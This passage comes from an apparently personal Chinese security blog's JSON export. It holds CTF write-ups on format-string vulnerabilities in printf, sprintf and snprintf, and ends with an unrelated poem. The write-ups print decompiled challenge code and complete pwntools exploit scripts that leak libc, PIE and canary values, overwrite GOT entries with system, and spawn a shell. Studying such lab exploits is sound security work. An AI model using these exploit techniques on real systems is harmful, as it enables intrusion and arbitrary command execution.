printf@got printf真实地址 栈上没有这种结构，我们找相似地址然后修改低字节从而向栈上写入got\nprintf_got地址为0x404028\n这个就很像\n（这个图和其他图不是在同一次运行）\n利用这个三连指针结构，将修改低二字节成为上面的\n修改完毕后如上 ，出现了，可以修改0x40136f低二字节使其成为printf@got\n出现了D\u0026ndash;\u0026gt;printf@got\u0026ndash;\u0026gt;printf真实地址 的结构，修改printf真实地址的低四字节使其成为system真实地址\n例题moectf2025_fmt_S 上面的讲解就是以这个题为例的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __fastcall main(int argc, const char **argv, const char **envp) { int i; // [rsp+Ch] [rbp-4h] init(argc, argv, envp); puts(\u0026#34;You\u0026#39;re walking down the road when a monster appear.\u0026#34;); for ( i = 1; i \u0026lt;= 3 \u0026amp;\u0026amp; !flag; ++i ) talk(); if ( (unsigned __int64)atk \u0026lt;= 0337522 ) puts(\u0026#34;You\u0026#39;ve been eaten by the monster.\u0026#34;); else he(); return 0; } 1 2 3 4 5 6 7 8 9 10 size_t talk() { puts(\u0026#34;You start talking to him...\u0026#34;); *(_DWORD *)\u0026amp;flag ^= 1u; read(0, fmt, 0x20uLL); printf(fmt); puts(\u0026#34;?\u0026#34;); puts(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;); return my_read(\u0026amp;atk, 8uLL); } 1 2 3 4 5 size_t __fastcall my_read(_BYTE *a1, size_t a2) { a1[read(0, a1, a2)] = 0; return strlen(a1); } 1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 he() { char command[6]; // [rsp+2h] [rbp-Eh] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); qmemcpy(command, \u0026#34;a_flag\u0026#34;, sizeof(command)); puts(\u0026#34;The monster is defeated, and you obtain: flag?\u0026#34;); system(command); return v2 - __readfsqword(0x28u); } exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * context(log_level=\u0026#34;debug\u0026#34;,arch=\u0026#34;amd64\u0026#34;) p=process(\u0026#39;./pwn\u0026#39;) #p=remote(\u0026#39;node5.anna.nssctf.cn\u0026#39;,26001) #p=remote(\u0026#39;192.168.40.1\u0026#39;,51743) #gdb.attach(p,\u0026#39;b *0x4011D6\u0026#39;) #gdb.attach(p) #p=remote(\u0026#39;113.45.176.209\u0026#39;,9998) #p=remote(\u0026#39;1.95.36.136\u0026#39;,2102) elf = ELF(\u0026#34;./pwn\u0026#34;) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) printf_got=0x404028 p.recvuntil(b\u0026#39;You start talking to him...\u0026#39;) p.sendline(b\u0026#39;%8$paaaa%13$p\u0026#39;) p.recvuntil(b\u0026#39;0x\u0026#39;) stack = int(p.recv(12), 16) p.recvuntil(b\u0026#39;aaaa0x\u0026#39;) libcbase = int(p.recv(12), 16)- 0x29d90 system=libcbase+libc.sym[\u0026#39;system\u0026#39;] print(hex(stack)) print(hex(libcbase)) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) #change i stack1 = stack - 0x4 a = stack1 \u0026amp; 0xffff payload = b\u0026#39;%\u0026#39; + str(a).encode() + b\u0026#39;c%6$hn\u0026#39; p.sendline(payload) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) p.recvuntil(\u0026#34;You start talking to him...\u0026#34;) p.sendline(b\u0026#39;%47$hn\u0026#39;) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) stack2=stack+0x18 b=stack2 \u0026amp; 0xffff pay2=b\u0026#39;%\u0026#39;+str(b).encode()+b\u0026#39;c%34$hn\u0026#39; p.sendline(pay2) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) #change i stack1 = stack - 0x4 a = stack1 \u0026amp; 0xffff payload = b\u0026#39;%\u0026#39; + str(a).encode() + b\u0026#39;c%6$hn\u0026#39; p.sendline(payload) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) p.recvuntil(b\u0026#39;You start talking to him...\u0026#39;) p.sendline(b\u0026#39;%47$hn\u0026#39;) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) c = printf_got \u0026amp; 0xffff pay3=b\u0026#39;%\u0026#39;+str(c).encode()+b\u0026#39;c%49$hn\u0026#39; gdb.attach(p) p.sendline(pay3) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) d = system \u0026amp; 0xffffffff pay4 = b\u0026#39;%\u0026#39; + str(d).encode() + b\u0026#39;c%15$n\u0026#39; p.sendline(pay4) p.sendlineafter(\u0026#34;You enraged the monster-prepare for battle!\u0026#34;, b\u0026#39;a\u0026#39; * 7) p.sendline(b\u0026#39;sh\u0026#39;) print(\u0026#34;elf.got[\u0026#39;printf\u0026#39;] =\u0026#34;, hex(elf.got[\u0026#34;printf\u0026#34;])) p.interactive() 由于循环次数不够 所以每执行一次操作需要修改i为0重置循环次数 不知道为什么flag=1了还能循环\n还有一个方法 exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * p=process(\u0026#39;./pwn\u0026#39;) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p.recvuntil(\u0026#39;You start talking to him...\u0026#39;) strlen_got=0x404008 p.sendline(b\u0026#39;%4210696c%6$lln\u0026#39;) p.recvuntil(b\u0026#39;You enraged the monster-prepare for battle!\u0026#39;) p.send(b\u0026#39;a\u0026#39;*8) p.recvuntil(\u0026#39;You start talking to him...\u0026#39;) sys_plt=0x4010e0 p.sendline(b\u0026#39;%4198624c%47$lln\u0026#39;) p.recvuntil(b\u0026#39;You enraged the monster-prepare for battle!\u0026#39;) p.send(b\u0026#39;/bin/sh\\x00\u0026#39;) p.interactive() 利用三连指针把strlen_got写入栈中,然后修改strlen@got中内容为system的plt表\n","date":"2025-09-10T23:34:28+08:00","image":"http://localhost:1313/image/bssfmt.jpg","permalink":"http://localhost:1313/p/bss%E6%AE%B5%E4%B8%8A%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/","title":"bss段上格式化字符串漏洞"},{"content":"函数原型 1 int sprintf(char *str, const char *format, ...); str:目标字符数组，用于储存格式化后的结果\nformat:格式化字符串，包含普通字符和格式符，如a=%d\n\u0026hellip;:可变参数，对应格式字符串中的格式符，类型需与格式符匹配。如 若参数format为a=%d则\u0026hellip;应为int类型的整数\n返回值是向str中输入的字符个数\n1 int s[n]printf(char *str, size_t size, const char *format, ...) 比sprintf 多了一个size_t参数，用于限制可写入字符数\ndemo（这个函数的正常使用方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main() { char buf[200]; int num = 123; float f = 3.14159; char str[] = \u0026#34;hello\u0026#34;; int arr[] = {1, 2, 3}; // 1. 格式化整数、字符串、浮点数 int len1 = sprintf(buf, \u0026#34;整数: %d, 字符串: %s, 浮点数: %.2f\u0026#34;, num, str, f); printf(\u0026#34;结果1: %s\\n\u0026#34;, buf); printf(\u0026#34;写入字符数: %d (验证: %zu)\\n\\n\u0026#34;, len1, strlen(buf)); // 不含 \\0 // 2. 格式化十六进制、地址 int len2 = sprintf(buf, \u0026#34;十六进制: 0x%x, 数组地址: %p\u0026#34;, num, arr); printf(\u0026#34;结果2: %s\\n\u0026#34;, buf); printf(\u0026#34;写入字符数: %d (验证: %zu)\\n\\n\u0026#34;, len2, strlen(buf)); // 3. 拼接多个数据 int len3 = sprintf(buf, \u0026#34;综合: num=%d, str=%s, f=%.1f, arr@%p\u0026#34;, num, str, f, arr); printf(\u0026#34;结果3: %s\\n\u0026#34;, buf); printf(\u0026#34;写入字符数: %d (验证: %zu)\\n\u0026#34;, len3, strlen(buf)); return 0; } 漏洞原理 攻击者通过溢出等手段可修改format参数，完整任意地址读写\nPS:snprintf是把格式化字符串的地址记下来，每次要处理一个字符时，先从地址处取格式化字符串，然后再根据格式化字符串来处理字符\ndemo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;string.h\u0026gt; #include\u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void backdoor(){ system(\u0026#34;/bin/sh\u0026#34;); return; } int main(){ char buf1[0x100]; char buf2[0x20]; char buf3[0x20]=\u0026#34;%s\\x00\u0026#34;; memset(buf1,0,0x100); puts(\u0026#34;input your data\u0026#34;); read(0,buf1,0x1000); sprintf(buf2,buf3,buf1); printf(\u0026#34;your input is %s\u0026#34;,buf2); memset(buf1,0,0x100); puts(\u0026#34;input your data again\u0026#34;); read(0,buf1,0x1000); sprintf(buf2,buf3,buf1); printf(\u0026#34;your input is %s\u0026#34;,buf2); return 0; } 先利用sprintf的格式化字符串漏洞，溢出buf2从而修改buf3(sptintf的格式化字符串参数)，这样就可以通过任意地址读来泄露canary，然后利用read(0,buf1,0x1000) re2text.exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p=process(\u0026#39;./sprintf\u0026#39;) context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p.recvuntil(b\u0026#39;input your data\u0026#39;) pay1=b\u0026#39;a\u0026#39;*32+b\u0026#39;bb%46$p\u0026#39; #0x92 is offest 150 p.sendline(pay1) #gdb.attach(p) p.recvuntil(b\u0026#39;0x\u0026#39;) canary=int(p.recv(16),16) print(hex(canary)) p.recvuntil(b\u0026#39;input your data again\u0026#39;) shell=0x4011f6 ret=0x40120F pay2=b\u0026#39;\\x00\u0026#39;*(0x108)+p64(canary)+p64(0)+p64(ret)+p64(shell) p.sendline(pay2) #gdb.attach(p) p.interactive() 这个demo写的不太合适，修改返回地址的时候用的并不是sprintf的漏洞\n可以再看下下面的例题\n攻防世界EasyPwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 __int64 __fastcall main(int a1, char **a2, char **a3) { int i; // [rsp+10h] [rbp-20h] int v5; // [rsp+14h] [rbp-1Ch] void *buf; // [rsp+18h] [rbp-18h] char nptr[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v8; // [rsp+28h] [rbp-8h] v8 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); for ( i = 0; i \u0026lt;= 11; ++i ) { write(1, \u0026#34;Input Your Code:\\n\u0026#34;, 0x11uLL); __isoc99_scanf(\u0026#34;%4s\u0026#34;, nptr); v5 = atoi(nptr); if ( v5 == 1 ) { vuln(); } else { if ( v5 != 2 ) return 0LL; buf = malloc(0x100uLL); write(1, \u0026#34;Input Your Name:\\n\u0026#34;, 0x11uLL); read(0, buf, 0x100uLL); printf(\u0026#34;OK!I Know Your Name :%sNow!\u0026#34;, (const char *)buf); free(buf); } } return 0LL; } unsigned __int64 vuln() { char s[1024]; // [rsp+10h] [rbp-BF0h] BYREF char v2[1000]; // [rsp+410h] [rbp-7F0h] BYREF char v3[1024]; // [rsp+7F8h] [rbp-408h] BYREF unsigned __int64 v4; // [rsp+BF8h] [rbp-8h] v4 = __readfsqword(0x28u); memset(s, 0, sizeof(s)); memset(v3, 0, 8uLL); memset(v2, 0, 0x7E8uLL); strcpy(v3, \u0026#34;%s\u0026#34;); puts(\u0026#34;Welcome To WHCTF2017:\u0026#34;); read(0, s, 0x438uLL); snprintf(v2, 0x7D0uLL, v3, s); printf(\u0026#34;Your Input Is :%s\\n\u0026#34;, v2); return __readfsqword(0x28u) ^ v4; } read(0, s, 0x438uLL);长度不够rop但vul()函数的snprintf函数可溢出v3，可以利用fmt任意地址读泄露libc和pie地址\n随后任意地址写，修改freegot表为system地址(可以使用bss段上fmt的方法)\n注意由于延迟绑定机制我们需要先调用一次free完成绑定，exp如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import * context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p=process(\u0026#39;./pwn1\u0026#39;) libc=ELF(\u0026#39;/home/baota/桌面/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6\u0026#39;) elf=ELF(\u0026#39;./pwn1\u0026#39;) p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;Input Your Name:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) #free got p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;Welcome To WHCTF2017:\u0026#39;) pay1=b\u0026#39;a\u0026#39;*1000+b\u0026#39;bb%397$p\u0026#39; p.sendline(pay1) #0x10b is offest 400 p.recvuntil(b\u0026#39;0x\u0026#39;) libcbase=int(p.recv(12),16)-0x20840 print(hex(libcbase)) #gdb.attach(p) sys=libcbase+libc.symbols[\u0026#39;system\u0026#39;] p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;Welcome To WHCTF2017:\u0026#39;) pay2=b\u0026#39;a\u0026#39;*1000+b\u0026#39;bb%396$p\u0026#39; p.sendline(pay2) p.recvuntil(b\u0026#39;0x\u0026#39;) addr=int(p.recv(12),16) pie=addr-0xda0 print(hex(addr)) print(hex(pie)) free_got = pie + elf.got[\u0026#39;free\u0026#39;] print(hex(free_got)) print(hex(sys)) p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;Welcome To WHCTF2017:\u0026#39;) #$360$p a=(sys \u0026amp; 0xffff)-1000-0x16 gdb.attach(p) pay3=b\u0026#39;a\u0026#39;*1000+(b\u0026#39;bb%\u0026#39;+str(a).encode() + b\u0026#39;c%133$hn\u0026#39;).ljust(16,b\u0026#39;a\u0026#39;)+p64(free_got) p.sendline(pay3) b= ((sys\u0026gt;\u0026gt;16) \u0026amp; 0xffff)-1000 - 0x16 pay4 = b\u0026#39;a\u0026#39; * 1000 + (b\u0026#39;bb%\u0026#39;+str(b).encode()+b\u0026#39;c%133$hn\u0026#39;).ljust(16, b\u0026#39;a\u0026#39;)+p64(free_got+2) p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;1\u0026#39;) p.recvuntil(b\u0026#39;Welcome To WHCTF2017:\u0026#39;) p.sendline(pay4) #gdb.attach(p) p.recvuntil(b\u0026#39;Input Your Code:\u0026#39;) p.sendline(b\u0026#39;2\u0026#39;) p.recvuntil(b\u0026#39;Input Your Name:\u0026#39;) p.sendline(b\u0026#39;/bin/sh\\x00\u0026#39;) #gdb.attach(p) p.interactive() ","date":"2025-09-10T23:34:28+08:00","image":"http://localhost:1313/image/fuguang.jpg","permalink":"http://localhost:1313/p/snprintf%E5%87%BD%E6%95%B0fmt%E6%BC%8F%E6%B4%9E/","title":"s[n]printf函数fmt漏洞"},{"content":" 迷失的枫跌跌撞撞 青涩的蓝天也被扰乱了模样 昏昏残阳，举目枯黄 满笔踌躇难刻昔日的激昂 岁月裹挟着我留下无闻篇章 匆匆忙忙，彷彷徨徨 渐行渐远的回忆只是思念的情愿一厢\n病树前头万木春光 离乡的秋枫终归不在漂泊流浪 困倦的黄天亦能复苍 熠熠红日，泼洒辉煌\n绝情的文字独自进取向上 舍下我一人品味生命的沧桑 晃晃荡荡，踉踉跄跄 梦醒时分的迷惘冷了我热血一腔\n我尚年轻，却也在年长 阅历凝香亦难挡愁绪忧伤 浮浮沉沉，慌慌张张 残存的炽心迫使我燃化凝霜 触不可及的理想和白发的高堂 反反复复，跌跌荡荡 咀嚼着艰难苦恨与世界和自我对抗\n2025.10 -山 ","date":"2025-09-10T23:34:28+08:00","image":"http://localhost:1313/image/%E8%BF%B7%E9%80%9437.jpg","permalink":"http://localhost:1313/p/%E8%BF%B7%E9%80%94/","title":"迷途"}]